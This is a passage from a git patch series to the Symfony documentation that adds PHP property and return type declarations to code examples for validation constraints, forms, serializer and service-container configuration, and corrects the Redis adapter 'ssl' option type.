+++ b/components/cache/adapters/redis_adapter.rst
@@ -210,7 +210,7 @@ Available Options
     ``error``, ``distribute`` or ``slaves``.  For ``\Predis\ClientInterface`` valid options are ``slaves``
     or ``distribute``.
 
-``ssl`` (type: ``bool``, default: ``null``)
+``ssl`` (type: ``array``, default: ``null``)
     SSL context options. See `php.net/context.ssl`_ for more information.
 
 .. note::

From e33a1402db4b9948df64cb06c144cd7c81488624 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 1 Jun 2023 13:51:48 +0200
Subject: [PATCH 4682/7107] Add property types and return types in constraints
 and few other places

---
 cache.rst                                     |  2 +-
 components/options_resolver.rst               | 14 +++----
 components/serializer.rst                     | 10 ++---
 components/validator/resources.rst            |  6 +--
 components/var_dumper.rst                     | 10 ++---
 components/var_exporter.rst                   |  6 +--
 doctrine/resolve_target_entity.rst            |  5 +--
 event_dispatcher.rst                          |  2 +-
 form/bootstrap5.rst                           |  2 +-
 form/form_collections.rst                     |  8 ++--
 forms.rst                                     | 27 +++++++-------
 frontend/custom_version_strategy.rst          |  2 +-
 messenger/multiple_buses.rst                  |  2 +-
 profiler.rst                                  |  2 +-
 reference/constraints/All.rst                 |  4 +-
 reference/constraints/AtLeastOneOf.rst        |  6 +--
 reference/constraints/Bic.rst                 |  4 +-
 reference/constraints/Blank.rst               |  4 +-
 reference/constraints/CardScheme.rst          |  4 +-
 reference/constraints/Cascade.rst             |  4 +-
 reference/constraints/Choice.rst              | 22 ++++++-----
 reference/constraints/Cidr.rst                |  6 ++-
 reference/constraints/Collection.rst          | 16 ++++----
 reference/constraints/Count.rst               |  6 ++-
 reference/constraints/Country.rst             |  6 ++-
 reference/constraints/CssColor.rst            | 10 +++--
 reference/constraints/Currency.rst            |  6 ++-
 reference/constraints/Date.rst                |  6 +--
 reference/constraints/DateTime.rst            |  6 +--
 reference/constraints/DivisibleBy.rst         |  8 ++--
 reference/constraints/Email.rst               |  6 ++-
 reference/constraints/EqualTo.rst             |  8 ++--
 .../constraints/ExpressionLanguageSyntax.rst  |  8 ++--
 reference/constraints/ExpressionSyntax.rst    |  8 ++--
 reference/constraints/File.rst                | 12 +++---
 reference/constraints/GreaterThan.rst         | 26 ++++++++-----
 reference/constraints/GreaterThanOrEqual.rst  | 26 ++++++++-----
 reference/constraints/Hostname.rst            |  6 ++-
 reference/constraints/Iban.rst                |  6 +--
 reference/constraints/IdenticalTo.rst         |  8 ++--
 reference/constraints/Image.rst               | 20 ++++++----
 reference/constraints/Ip.rst                  |  6 ++-
 reference/constraints/IsFalse.rst             | 14 ++++---
 reference/constraints/IsNull.rst              |  6 ++-
 reference/constraints/IsTrue.rst              | 24 +++++++-----
 reference/constraints/Isbn.rst                |  6 ++-
 reference/constraints/Isin.rst                |  6 ++-
 reference/constraints/Issn.rst                |  6 ++-
 reference/constraints/Language.rst            |  6 ++-
 reference/constraints/Length.rst              |  6 ++-
 reference/constraints/LessThan.rst            | 26 ++++++++-----
 reference/constraints/LessThanOrEqual.rst     | 26 ++++++++-----
 reference/constraints/Locale.rst              |  6 ++-
 reference/constraints/Luhn.rst                |  6 ++-
 reference/constraints/Negative.rst            |  6 ++-
 reference/constraints/NegativeOrZero.rst      |  6 ++-
 reference/constraints/NotBlank.rst            |  6 ++-
 .../constraints/NotCompromisedPassword.rst    |  6 ++-
 reference/constraints/NotEqualTo.rst          |  8 ++--
 reference/constraints/NotIdenticalTo.rst      |  8 ++--
 reference/constraints/NotNull.rst             |  6 ++-
 reference/constraints/Positive.rst            |  6 ++-
 reference/constraints/PositiveOrZero.rst      |  6 ++-
 reference/constraints/Range.rst               | 24 ++++++++----
 reference/constraints/Regex.rst               | 18 ++++++---
 reference/constraints/Sequentially.rst        |  4 +-
 reference/constraints/Time.rst                |  6 +--
 reference/constraints/Timezone.rst            |  6 ++-
 reference/constraints/Traverse.rst            |  8 ++--
 reference/constraints/Type.rst                | 12 +++---
 reference/constraints/Ulid.rst                |  4 +-
 reference/constraints/Unique.rst              | 12 ++++--
 reference/constraints/UniqueEntity.rst        |  6 ++-
 reference/constraints/Url.rst                 | 24 ++++++++----
 reference/constraints/UserPassword.rst        |  6 ++-
 reference/constraints/Uuid.rst                |  6 ++-
 reference/constraints/Valid.rst               | 37 ++++++++++++-------
 reference/dic_tags.rst                        |  8 ++--
 serializer.rst                                |  8 ++--
 service_container/alias_private.rst           | 10 ++---
 service_container/autowiring.rst              |  8 ++--
 service_container/calls.rst                   |  2 +-
 service_container/configurators.rst           |  4 +-
 service_container/expression_language.rst     |  4 +-
 service_container/factories.rst               | 10 ++---
 service_container/import.rst                  |  2 +-
 service_container/injection_types.rst         |  6 +--
 service_container/lazy_services.rst           |  4 +-
 service_container/optional_dependencies.rst   |  4 +-
 service_container/parent_services.rst         |  6 +--
 service_container/service_decoration.rst      | 16 ++++----
 .../service_subscribers_locators.rst          | 12 +++---
 service_container/shared.rst                  |  2 +-
 service_container/synthetic_services.rst      |  2 +-
 service_container/tags.rst                    | 14 +++----
 validation/custom_constraint.rst              |  2 +-
 validation/severity.rst                       | 10 +++--
 97 files changed, 510 insertions(+), 349 deletions(-)

diff --git a/cache.rst b/cache.rst
index f9d7175cf41..fda6cdb9810 100644
--- a/cache.rst
+++ b/cache.rst
@@ -363,7 +363,7 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $container) {
+            return function(ContainerConfigurator $container): void {
                 $container->services()
                     // ...
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fb459f3d9cd..91e5d742c7a 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -23,7 +23,7 @@ Imagine you have a ``Mailer`` class which has four options: ``host``,
 
     class Mailer
     {
-        protected $options;
+        protected array $options;
 
         public function __construct(array $options = [])
         {
@@ -37,7 +37,7 @@ check which options are set::
     class Mailer
     {
         // ...
-        public function sendMail($from, $to)
+        public function sendMail($from, $to): void
         {
             $mail = ...;
 
@@ -884,9 +884,9 @@ can change your code to do the configuration only once per class::
     // ...
     class Mailer
     {
-        private static $resolversByClass = [];
+        private static array $resolversByClass = [];
 
-        protected $options;
+        protected array $options;
 
         public function __construct(array $options = [])
         {
@@ -902,7 +902,7 @@ can change your code to do the configuration only once per class::
             $this->options = self::$resolversByClass[$class]->resolve($options);
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // ...
         }
@@ -917,9 +917,9 @@ method ``clearOptionsConfig()`` and call it periodically::
     // ...
     class Mailer
     {
-        private static $resolversByClass = [];
+        private static array $resolversByClass = [];
 
-        public static function clearOptionsConfig()
+        public static function clearOptionsConfig(): void
         {
             self::$resolversByClass = [];
         }
diff --git a/components/serializer.rst b/components/serializer.rst
index e08bd5c1f07..007cf4818b9 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -73,7 +73,7 @@ exists in your project::
         private int $age;
         private string $name;
         private bool $sportsperson;
-        private ?\DateTime $createdAt;
+        private ?\DateTimeInterface $createdAt;
 
         // Getters
         public function getAge(): int
@@ -113,7 +113,7 @@ exists in your project::
             $this->sportsperson = $sportsperson;
         }
 
-        public function setCreatedAt(\DateTime $createdAt = null): void
+        public function setCreatedAt(\DateTimeInterface $createdAt = null): void
         {
             $this->createdAt = $createdAt;
         }
@@ -607,11 +607,11 @@ processes::
     class Person
     {
         public function __construct(
-            private $firstName,
+            private string $firstName,
         ) {
         }
 
-        public function getFirstName()
+        public function getFirstName(): string
         {
             return $this->firstName;
         }
@@ -663,7 +663,7 @@ defines a ``Person`` entity with a ``firstName`` property:
         {
             public function __construct(
                 #[SerializedName('customer_name')]
-                private $firstName,
+                private string $firstName,
             ) {
             }
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index d5cfd85e297..19b0c54b6ec 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -37,9 +37,9 @@ In this example, the validation metadata is retrieved executing the
 
     class User
     {
-        protected $name;
+        protected string $name;
 
-        public static function loadValidatorMetadata(ClassMetadata $metadata)
+        public static function loadValidatorMetadata(ClassMetadata $metadata): void
         {
             $metadata->addPropertyConstraint('name', new Assert\NotBlank());
             $metadata->addPropertyConstraint('name', new Assert\Length([
@@ -99,7 +99,7 @@ prefixed classes included in doc block comments (``/** ... */``). For example::
         /**
          * @Assert\NotBlank
          */
-        protected $name;
+        protected string $name;
     }
 
 To enable the annotation loader, call the
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index ccde974b9e5..c9da6873218 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -372,9 +372,9 @@ then its dump representation::
 
     class PropertyExample
     {
-        public $publicProperty = 'The `+` prefix denotes public properties,';
-        protected $protectedProperty = '`#` protected ones and `-` private ones.';
-        private $privateProperty = 'Hovering a property shows a reminder.';
+        public string $publicProperty = 'The `+` prefix denotes public properties,';
+        protected string $protectedProperty = '`#` protected ones and `-` private ones.';
+        private string $privateProperty = 'Hovering a property shows a reminder.';
     }
 
     $var = new PropertyExample();
@@ -391,7 +391,7 @@ then its dump representation::
 
     class DynamicPropertyExample
     {
-        public $declaredProperty = 'This property is declared in the class definition';
+        public string $declaredProperty = 'This property is declared in the class definition';
     }
 
     $var = new DynamicPropertyExample();
@@ -404,7 +404,7 @@ then its dump representation::
 
     class ReferenceExample
     {
-        public $info = "Circular and sibling references are displayed as `#number`.\nHovering them highlights all instances in the same dump.\n";
+        public string $info = "Circular and sibling references are displayed as `#number`.\nHovering them highlights all instances in the same dump.\n";
     }
     $var = new ReferenceExample();
     $var->aCircularReference = $var;
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 866f97ee2ff..9c5677c91d8 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -50,10 +50,10 @@ following class hierarchy::
 
     abstract class AbstractClass
     {
-        protected $foo;
-        private $bar;
+        protected int $foo;
+        private int $bar;
 
-        protected function setBar($bar)
+        protected function setBar($bar): void
         {
             $this->bar = $bar;
         }
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 81de0c75ff0..9c3e700e0cf 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -65,11 +65,8 @@ An Invoice entity::
     #[ORM\Table(name: 'invoice')]
     class Invoice
     {
-        /**
-         * @var InvoiceSubjectInterface
-         */
         #[ORM\ManyToOne(targetEntity: InvoiceSubjectInterface::class)]
-        protected $subject;
+        protected InvoiceSubjectInterface $subject;
     }
 
 An InvoiceSubjectInterface::
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 275ec7863fe..896dff71d29 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -91,7 +91,7 @@ notify Symfony that it is an event listener by using a special "tag":
 
         use App\EventListener\ExceptionListener;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(ExceptionListener::class)
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index c801757ea77..400747bba12 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -57,7 +57,7 @@ configuration:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function(TwigConfig $twig) {
+        return static function(TwigConfig $twig): void {
             $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 2fc6ddda01a..d36dce954b3 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -16,8 +16,8 @@ Let's start by creating a ``Task`` entity::
 
     class Task
     {
-        protected $description;
-        protected $tags;
+        protected string $description;
+        protected ArrayCollection $tags;
 
         public function __construct()
         {
@@ -53,7 +53,7 @@ objects::
 
     class Tag
     {
-        private $name;
+        private string $name;
 
         public function getName(): string
         {
@@ -466,7 +466,7 @@ you will learn about next!).
             // ...
 
             #[ORM\ManyToMany(targetEntity: Tag::class, cascade: ['persist'])]
-            protected $tags;
+            protected array $tags;
 
         .. code-block:: yaml
 
diff --git a/forms.rst b/forms.rst
index 9a673dc4fc6..a00c7a94ab2 100644
--- a/forms.rst
+++ b/forms.rst
@@ -43,8 +43,9 @@ following ``Task`` class::
 
     class Task
     {
-        protected $task;
-        protected $dueDate;
+        protected string $task;
+
+        protected ?\DateTimeInterface $dueDate;
 
         public function getTask(): string
         {
@@ -56,12 +57,12 @@ following ``Task`` class::
             $this->task = $task;
         }
 
-        public function getDueDate(): ?\DateTime
+        public function getDueDate(): ?\DateTimeInterface
         {
             return $this->dueDate;
         }
 
-        public function setDueDate(?\DateTime $dueDate): void
+        public function setDueDate(?\DateTimeInterface $dueDate): void
         {
             $this->dueDate = $dueDate;
         }
@@ -128,7 +129,7 @@ use the ``createFormBuilder()`` helper::
             // creates a task object and initializes some data for this example
             $task = new Task();
             $task->setTask('Write a blog post');
-            $task->setDueDate(new \DateTime('tomorrow'));
+            $task->setDueDate(new \DateTimeImmutable('tomorrow'));
 
             $form = $this->createFormBuilder($task)
                 ->add('task', TextType::class)
@@ -209,7 +210,7 @@ use the ``createForm()`` helper (otherwise, use the ``create()`` method of the
             // creates a task object and initializes some data for this example
             $task = new Task();
             $task->setTask('Write a blog post');
-            $task->setDueDate(new \DateTime('tomorrow'));
+            $task->setDueDate(new \DateTimeImmutable('tomorrow'));
 
             $form = $this->createForm(TaskType::class, $task);
 
@@ -471,7 +472,7 @@ to a class. You can add them either to the entity class or to the form class.
 
 To see the first approach - adding constraints to the entity - in action,
 add the validation constraints, so that the ``task`` field cannot be empty,
-and the ``dueDate`` field cannot be empty, and must be a valid ``DateTime``
+and the ``dueDate`` field cannot be empty, and must be a valid ``DateTimeImmutable``
 object.
 
 .. configuration-block::
@@ -486,11 +487,11 @@ object.
         class Task
         {
             #[Assert\NotBlank]
-            public $task;
+            public string $task;
 
             #[Assert\NotBlank]
-            #[Assert\Type(\DateTime::class)]
-            protected $dueDate;
+            #[Assert\Type(\DateTimeInterface::class)]
+            protected \DateTimeInterface $dueDate;
         }
 
     .. code-block:: yaml
@@ -502,7 +503,7 @@ object.
                     - NotBlank: ~
                 dueDate:
                     - NotBlank: ~
-                    - Type: \DateTime
+                    - Type: \DateTimeInterface
 
     .. code-block:: xml
 
@@ -519,7 +520,7 @@ object.
                 </property>
                 <property name="dueDate">
                     <constraint name="NotBlank"/>
-                    <constraint name="Type">\DateTime</constraint>
+                    <constraint name="Type">\DateTimeInterface</constraint>
                 </property>
             </class>
         </constraint-mapping>
@@ -544,7 +545,7 @@ object.
                 $metadata->addPropertyConstraint('dueDate', new NotBlank());
                 $metadata->addPropertyConstraint(
                     'dueDate',
-                    new Type(\DateTime::class)
+                    new Type(\DateTimeInterface::class)
                 );
             }
         }
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 9b86685889b..0bbcf934e58 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -130,7 +130,7 @@ After creating the strategy PHP class, register it as a Symfony service.
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(GulpBusterVersionStrategy::class)
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 7c2b548796d..8cc5fa5fa22 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -222,7 +222,7 @@ you can determine the message bus based on an implemented interface:
         use App\MessageHandler\CommandHandlerInterface;
         use App\MessageHandler\QueryHandlerInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // ...
diff --git a/profiler.rst b/profiler.rst
index dbe3dc6e989..f14fdcee0a7 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -536,7 +536,7 @@ you'll need to configure the data collector explicitly:
 
         use App\DataCollector\RequestCollector;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(RequestCollector::class)
diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 7fb1428bab7..3aa05b1d2d0 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -31,7 +31,7 @@ entry in that array:
                 new Assert\NotBlank,
                 new Assert\Length(min: 5),
             ])]
-            protected $favoriteColors = [];
+            protected array $favoriteColors = [];
         }
 
     .. code-block:: yaml
@@ -77,7 +77,7 @@ entry in that array:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('favoriteColors', new Assert\All([
                     'constraints' => [
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index e3402c23b02..0a6ab618aa5 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -35,7 +35,7 @@ The following constraints ensure that:
                 new Assert\Regex('/#/'),
                 new Assert\Length(min: 10),
             ])]
-            protected $plainPassword;
+            protected string $plainPassword;
 
             #[Assert\AtLeastOneOf([
                 new Assert\Count(min: 3),
@@ -43,7 +43,7 @@ The following constraints ensure that:
                     new Assert\GreaterThanOrEqual(5)
                 ),
             ])]
-            protected $grades;
+            protected array $grades;
         }
 
     .. code-block:: yaml
@@ -113,7 +113,7 @@ The following constraints ensure that:
 
         class Student
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('password', new Assert\AtLeastOneOf([
                     'constraints' => [
diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 7cc2e46f558..69ce35248f3 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -30,7 +30,7 @@ will contain a Business Identifier Code (BIC).
         class Transaction
         {
             #[Assert\Bic]
-            protected $businessIdentifierCode;
+            protected string $businessIdentifierCode;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,7 @@ will contain a Business Identifier Code (BIC).
 
         class Transaction
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('businessIdentifierCode', new Assert\Bic());
             }
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index fe17e88e40f..485d25319ac 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -37,7 +37,7 @@ of an ``Author`` class were blank, you could do the following:
         class Author
         {
             #[Assert\Blank]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -73,7 +73,7 @@ of an ``Author`` class were blank, you could do the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\Blank());
             }
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 59f0d048f15..6e98e6fab98 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -32,7 +32,7 @@ on an object that will contain a credit card number.
                 schemes: [Assert\CardScheme::VISA],
                 message: 'Your credit card number is invalid.',
             )]
-            protected $cardNumber;
+            protected string $cardNumber;
         }
 
     .. code-block:: yaml
@@ -75,7 +75,7 @@ on an object that will contain a credit card number.
 
         class Transaction
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
                     'schemes' => [
diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index 5880fdd6389..aeaa4213832 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -35,7 +35,7 @@ constraints that are set in the child classes ``BookMetadata`` and
         class BookCollection
         {
             #[Assert\NotBlank]
-            protected $name = '';
+            protected string $name = '';
 
             public BookMetadata $metadata;
 
@@ -76,7 +76,7 @@ constraints that are set in the child classes ``BookMetadata`` and
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addConstraint(new Assert\Cascade());
             }
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index b1b27bdd6fd..2ec882298ec 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -32,13 +32,13 @@ If your valid choice list is simple, you can pass them in directly via the
 
         class Author
         {
-            const GENRES = ['fiction', 'non-fiction'];
+            public const GENRES = ['fiction', 'non-fiction'];
 
             #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])]
-            protected $city;
+            protected string $city;
 
             #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')]
-            protected $genre;
+            protected string $genre;
         }
 
     .. code-block:: yaml
@@ -91,7 +91,9 @@ If your valid choice list is simple, you can pass them in directly via the
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint(
                     'city',
@@ -138,7 +140,7 @@ constraint.
         class Author
         {
             #[Assert\Choice(callback: 'getGenres')]
-            protected $genre;
+            protected string $genre;
         }
 
     .. code-block:: yaml
@@ -176,9 +178,9 @@ constraint.
 
         class Author
         {
-            protected $genre;
+            // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('genre', new Assert\Choice([
                     'callback' => 'getGenres',
@@ -202,7 +204,7 @@ you can pass the class name and the method as an array.
         class Author
         {
             #[Assert\Choice(callback: [Genre::class, 'getGenres'])]
-            protected $genre;
+            protected string $genre;
         }
 
     .. code-block:: yaml
@@ -244,7 +246,9 @@ you can pass the class name and the method as an array.
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('genre', new Assert\Choice([
                     'callback' => [Genre::class, 'getGenres'],
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 31080ab1abb..d7bc9e6b4a0 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -27,7 +27,7 @@ Basic Usage
         class NetworkSettings
         {
             #[Assert\Cidr]
-            protected $cidrNotation;
+            protected string $cidrNotation;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ Basic Usage
 
         class NetworkSettings
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr());
             }
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index de29e9837ea..2d16d201b17 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -33,12 +33,12 @@ of a collection individually. Take the following example::
 
     class Author
     {
-        protected $profileData = [
+        protected array $profileData = [
             'personal_email' => '...',
             'short_bio' => '...',
         ];
 
-        public function setProfileData($key, $value)
+        public function setProfileData($key, $value): void
         {
             $this->profileData[$key] = $value;
         }
@@ -73,7 +73,7 @@ following:
                 ],
                 allowMissingFields: true,
             )]
-            protected $profileData = [
+            protected array $profileData = [
                 'personal_email' => '...',
                 'short_bio' => '...',
             ];
@@ -135,7 +135,9 @@ following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('profileData', new Assert\Collection([
                     'fields' => [
@@ -203,7 +205,7 @@ you can do the following:
                     ),
                 ],
             )]
-            protected $profileData = ['personal_email' => 'email@example.com'];
+            protected array $profileData = ['personal_email' => 'email@example.com'];
         }
 
     .. code-block:: yaml
@@ -261,9 +263,9 @@ you can do the following:
 
         class Author
         {
-            protected $profileData = ['personal_email'];
+            // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('profileData', new Assert\Collection([
                     'fields' => [
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index c460028df37..0bf40aca8e9 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -33,7 +33,7 @@ you might add the following:
                 minMessage: 'You must specify at least one email',
                 maxMessage: 'You cannot specify more than {{ limit }} emails',
             )]
-            protected $emails = [];
+            protected array $emails = [];
         }
 
     .. code-block:: yaml
@@ -78,7 +78,9 @@ you might add the following:
 
         class Participant
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('emails', new Assert\Count([
                     'min' => 1,
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 5a47a7cae44..70aae5d3cc5 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -24,7 +24,7 @@ Basic Usage
         class User
         {
             #[Assert\Country]
-            protected $country;
+            protected string $country;
         }
 
     .. code-block:: yaml
@@ -60,7 +60,9 @@ Basic Usage
 
         class User
         {
-            public static function loadValidationMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidationMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('country', new Assert\Country());
             }
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 383c112fa85..88a4eb4be9f 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -31,19 +31,19 @@ the named CSS colors:
         class Bulb
         {
             #[Assert\CssColor]
-            protected $defaultColor;
+            protected string $defaultColor;
 
             #[Assert\CssColor(
                 formats: Assert\CssColor::HEX_LONG,
                 message: 'The accent color must be a 6-character hexadecimal color.',
             )]
-            protected $accentColor;
+            protected string $accentColor;
 
             #[Assert\CssColor(
                 formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
                 message: 'The color '{{ value }}' is not a valid CSS color name.',
             )]
-            protected $currentColor;
+            protected string $currentColor;
         }
 
     .. code-block:: yaml
@@ -104,7 +104,9 @@ the named CSS colors:
 
         class Bulb
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
 
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index ccf1a2928bf..cf074d4b069 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -27,7 +27,7 @@ a valid currency, you could do the following:
         class Order
         {
             #[Assert\Currency]
-            protected $currency;
+            protected string $currency;
         }
 
     .. code-block:: yaml
@@ -63,7 +63,9 @@ a valid currency, you could do the following:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('currency', new Assert\Currency());
             }
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index c011bdedd13..93bd401cff6 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -25,7 +25,7 @@ Basic Usage
         class Author
         {
             #[Assert\Date]
-            protected $birthday;
+            protected string $birthday;
         }
 
     .. code-block:: yaml
@@ -64,9 +64,9 @@ Basic Usage
            /**
             * @var string A "Y-m-d" formatted value
             */
-            protected $birthday;
+            protected string $birthday;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('birthday', new Assert\Date());
             }
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 39ca4e3a5a1..f6bcce7e5f5 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -28,7 +28,7 @@ Basic Usage
              * @var string A "Y-m-d H:i:s" formatted value
              */
             #[Assert\DateTime]
-            protected $createdAt;
+            protected string $createdAt;
         }
 
     .. code-block:: yaml
@@ -67,9 +67,9 @@ Basic Usage
            /**
             * @var string A "Y-m-d H:i:s" formatted value
             */
-            protected $createdAt;
+            protected string $createdAt;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('createdAt', new Assert\DateTime());
             }
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index 19f69414dd5..dd90ad9a0fd 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -35,12 +35,12 @@ The following constraints ensure that:
         class Item
         {
             #[Assert\DivisibleBy(0.25)]
-            protected $weight;
+            protected float $weight;
 
             #[Assert\DivisibleBy(
                 value: 5,
             )]
-            protected $quantity;
+            protected int $quantity;
         }
 
     .. code-block:: yaml
@@ -86,7 +86,9 @@ The following constraints ensure that:
 
         class Item
         {
